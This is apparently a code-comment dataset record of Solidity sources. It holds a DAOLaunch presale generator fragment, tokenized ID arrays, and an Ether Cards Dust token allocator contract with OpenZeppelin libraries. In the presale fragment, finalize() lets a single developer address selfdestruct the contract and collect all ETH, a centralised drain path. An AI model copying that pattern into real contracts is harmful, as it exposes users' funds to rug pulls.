onlyPresaleOwner { if (_add) { for (uint256 i = 0; i < _users.length; i++) { WHITELIST.add(_users[i]); } } else { for (uint256 i = 0; i < _users.length; i++) { WHITELIST.remove(_users[i]); } } } // if uniswap listing fails, call this function to release eth function finalize() external { require(msg.sender == DAOLAUNCH_DEV, "INVALID CALLER"); selfdestruct(DAOLAUNCH_DEV); } // whitelist getters function getWhitelistedUsersLength() external view returns (uint256) { return WHITELIST.length(); } function getWhitelistedUserAtIndex(uint256 _index) external view returns (address) { return WHITELIST.at(_index); } function getUserWhitelistStatus(address _user) external view returns (bool) { return WHITELIST.contains(_user); } } abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library PresaleHelper { using SafeMath for uint256; function calculateAmountRequired( uint256 _amount, uint256 _tokenPrice, uint256 _listingRate, uint256 _liquidityPercent, uint256 _tokenFee ) public pure returns (uint256) { uint256 listingRatePercent = _listingRate.mul(1000).div(_tokenPrice); uint256 DAOLaunchTokenFee = _amount.mul(_tokenFee).div(1000); uint256 amountMinusFee = _amount.sub(DAOLaunchTokenFee); uint256 liquidityRequired = amountMinusFee .mul(_liquidityPercent) .mul(listingRatePercent) .div(1000000); uint256 tokensRequiredForPresale = _amount.add(liquidityRequired).add( DAOLaunchTokenFee ); return tokensRequiredForPresale; } } interface IPresaleFactory { function registerPresale(address _presaleAddress) external; function presaleIsRegistered(address _presaleAddress) external view returns (bool); } interface IUniswapV2Locker { function lockLPToken( address _lpToken, uint256 _amount, uint256 _unlock_date, address payable _referral, bool _fee_in_eth, address payable _withdrawer ) external payable; } contract PresaleGenerator01 is Ownable { using SafeMath for uint256; IPresaleFactory public PRESALE_FACTORY; IPresaleSettings public PRESALE_SETTINGS; struct PresaleParams { uint256 amount; uint256 tokenPrice; uint256 maxSpendPerBuyer; uint256 minSpendPerBuyer; uint256 hardcap; uint256 softcap; uint256 liquidityPercent; uint256 listingRate; // sale token listing price on uniswap uint256 startblock; uint256 endblock; uint256 lockPeriod; uint256 uniswapListingTime; } constructor() public { PRESALE_FACTORY = IPresaleFactory( 0x35D4dc34966018Ac8c35051f86105753F4BB4AFc ); PRESALE_SETTINGS = IPresaleSettings( 0xaBAE64D9d205d0467F7cA03aA1cd133EAd41873c ); } /** * @notice Creates a new Presale contract and registers it in the PresaleFactory.sol. */ function createPresale( address payable _presaleOwner, IERC20 _presaleToken, IERC20 _baseToken, address[] memory white_list, uint256[12] memory uint_params, address payable _caller ) public payable { PresaleParams memory params; params.amount = uint_params[0]; params.tokenPrice = uint_params[1]; params.maxSpendPerBuyer = uint_params[2]; params.minSpendPerBuyer = uint_params[3]; params.hardcap = uint_params[4]; params.softcap = uint_params[5]; params.liquidityPercent = uint_params[6]; params.listingRate = uint_params[7]; params.startblock = uint_params[8]; params.endblock = uint_params[9]; params.lockPeriod = uint_params[10]; params.uniswapListingTime = uint_params[11]; if (params.lockPeriod < 4 weeks) { params.lockPeriod = 4 weeks; } require(params.uniswapListingTime > params.endblock); // Charge ETH fee for contract creation require( msg.value == PRESALE_SETTINGS.getEthCreationFee(), "FEE NOT MET" ); require(params.amount >= 10000, "MIN DIVIS"); // minimum divisibility require(params.endblock > params.startblock, "INVALID BLOCK TIME"); require(params.tokenPrice.mul(params.hardcap) > 0, "INVALID PARAMS"); // ensure no overflow for future calculations require( params.liquidityPercent >= 300 && params.liquidityPercent <= 1000, "MIN LIQUIDITY" ); // 30% minimum liquidity lock uint256 tokensRequiredForPresale = PresaleHelper .calculateAmountRequired( params.amount, params.tokenPrice, params.listingRate, params.liquidityPercent, PRESALE_SETTINGS.getBaseFee() ); Presale01 newPresale = (new Presale01){value: msg.value}(address(this)); TransferHelper.safeTransferFrom( address(_presaleToken), address(msg.sender), address(newPresale), tokensRequiredForPresale ); newPresale.init1( _presaleOwner, params.amount, params.tokenPrice, params.maxSpendPerBuyer, params.minSpendPerBuyer, params.hardcap, params.softcap, params.liquidityPercent, params.listingRate, params.startblock, params.endblock, params.lockPeriod ); newPresale.init2( _baseToken, _presaleToken, PRESALE_SETTINGS.getBaseFee(), PRESALE_SETTINGS.getTokenFee(), params.uniswapListingTime, PRESALE_SETTINGS.getEthAddress(), PRESALE_SETTINGS.getTokenAddress() ); newPresale.init3(white_list, _caller); PRESALE_FACTORY.registerPresale(address(newPresale)); } }
* @dev Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); }
6,578,546
[ 1, 1358, 434, 326, 4232, 39, 3462, 4529, 487, 2553, 316, 326, 512, 2579, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 288, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 565, 871, 1716, 685, 1125, 12, 203, 3639, 1758, 8808, 3410, 16, 203, 3639, 1758, 8808, 17571, 264, 16, 203, 3639, 2254, 5034, 460, 203, 565, 11272, 203, 203, 565, 445, 508, 1435, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 15105, 1435, 3903, 1476, 1135, 261, 11890, 28, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 203, 3639, 3903, 203, 3639, 1135, 261, 6430, 1769, 203, 203, 565, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 1265, 12, 203, 3639, 1758, 5793, 16, 203, 3639, 1758, 8027, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 3903, 1135, 261, 6430, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: Unlicensed /*** * ███████ ██ ██ ███████ ██████ ██ ██ ██████ ███ ██ ███████ ██████ ███████ ████████ ███████ * ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ * █████ ██ ██ █████ ██████ ████ ██ ██ ██ ██ ██ █████ ██ ███ █████ ██ ███████ * ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ * ███████ ████ ███████ ██ ██ ██ ██████ ██ ████ ███████ ██████ ███████ ██ ███████ * * * ███████ ██████ ███ ███ ███████ ██████ ██ ██ ███████ ████████ * ██ ██ ██ ████ ████ ██ ██ ██ ██ ██ ██ ██ * ███████ ██ ██ ██ ████ ██ █████ ██ ██ ██ ██ ███████ ██ * ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ * ███████ ██████ ██ ██ ███████ ██████ ██████ ███████ ██ * * * ETHER.CARDS - DUST TOKEN ALLOCATOR for EXTRA POOLS * */ pragma solidity >=0.6.0 <0.8.0; pragma abicoder v2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract DustPoolExtraAllocator is Ownable { using SafeMath for uint256; mapping(uint8 => uint256) public cardTypeAmounts; mapping(uint16 => uint8) internal tokenData; IERC721 public erc721; // Ether Cards IERC20 public erc20; // Dust bool public locked; uint256 public unlockTime; event Redeemed(uint16 tokenId); event Skipped(uint16 tokenId); constructor(address _erc721, address _erc20) { erc721 = IERC721(_erc721); erc20 = IERC20(_erc20); // set card type values cardTypeAmounts[1] = 21100 ether; cardTypeAmounts[2] = 2110 ether; cardTypeAmounts[3] = 211 ether; // Fri Oct 15 2021 16:00:00 GMT+0300 (Eastern European Summer Time) unlockTime = 1634302800; } function redeem(uint16[] calldata _tokenIds) public { require(!locked && getBlockTimestamp() > unlockTime, "Contract locked"); uint256 totalAmount; for(uint8 i = 0; i < _tokenIds.length; i++) { uint16 _tokenId = _tokenIds[i]; require(erc721.ownerOf(_tokenId) == msg.sender, "ERC721: not owner of token"); if(!isTokenUsed(_tokenId)) { totalAmount = totalAmount.add( cardTypeAmounts[getCardTypeFromId(_tokenId)] ); setTokenUsed(_tokenId); emit Redeemed(_tokenId); } else { emit Skipped(_tokenId); } } erc20.transfer(msg.sender, totalAmount); } function getAvailableBalance(uint16[] calldata _tokenIds) external view returns (uint256 balance) { for(uint8 i = 0; i < _tokenIds.length; i++) { uint16 _tokenId = _tokenIds[i]; if(!isTokenUsed(_tokenId)) { balance = balance.add( cardTypeAmounts[getCardTypeFromId(_tokenId)] ); } } } function getCardTypeFromId(uint16 _tokenId) public pure returns (uint8 _cardType) { if(_tokenId < 10) { revert("CardType not allowed"); } if(_tokenId < 100) { return 1; } if (_tokenId < 1000) { return 2; } if (_tokenId < 10000) { return 3; } revert("CardType not found"); } function toggleLocked () public onlyOwner { locked = !locked; } function removeUnlockTime () public onlyOwner { unlockTime = block.timestamp; } function getBlockTimestamp() public view virtual returns (uint256) { return block.timestamp; } function isTokenUsed(uint16 _position) public view returns (bool result) { uint16 byteNum = uint16(_position / 8); uint16 bitPos = uint8(_position - byteNum * 8); if (tokenData[byteNum] == 0) return false; return tokenData[byteNum] & (0x01 * 2**bitPos) != 0; } function setTokenUsed(uint16 _position) internal { uint16 byteNum = uint16(_position / 8); uint16 bitPos = uint8(_position - byteNum * 8); tokenData[byteNum] = uint8(tokenData[byteNum] | (2**bitPos)); } /// web3 Frontend - VIEW METHODS // 0 - 1250 to get all 10k records function getUsedTokenData(uint8 _page, uint16 _perPage) public view returns (uint8[] memory) { _perPage = _perPage / 8; uint16 i = _perPage * _page; uint16 max = i + (_perPage); uint16 j = 0; uint8[] memory retValues; assembly { mstore(retValues, _perPage) } while (i < max) { retValues[j] = tokenData[i]; j++; i++; } assembly { // move pointer to freespace otherwise return calldata gets messed up mstore(0x40, msize()) } return retValues; } // blackhole prevention methods function retrieveERC20(address _tracker, uint256 amount) external onlyOwner { IERC20(_tracker).transfer(msg.sender, amount); } function retrieve721(address _tracker, uint256 id) external onlyOwner { IERC721(_tracker).transferFrom(address(this), msg.sender, id); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
blackhole prevention methods
function retrieveERC20(address _tracker, uint256 amount) external onlyOwner { IERC20(_tracker).transfer(msg.sender, amount); }
14,349,220
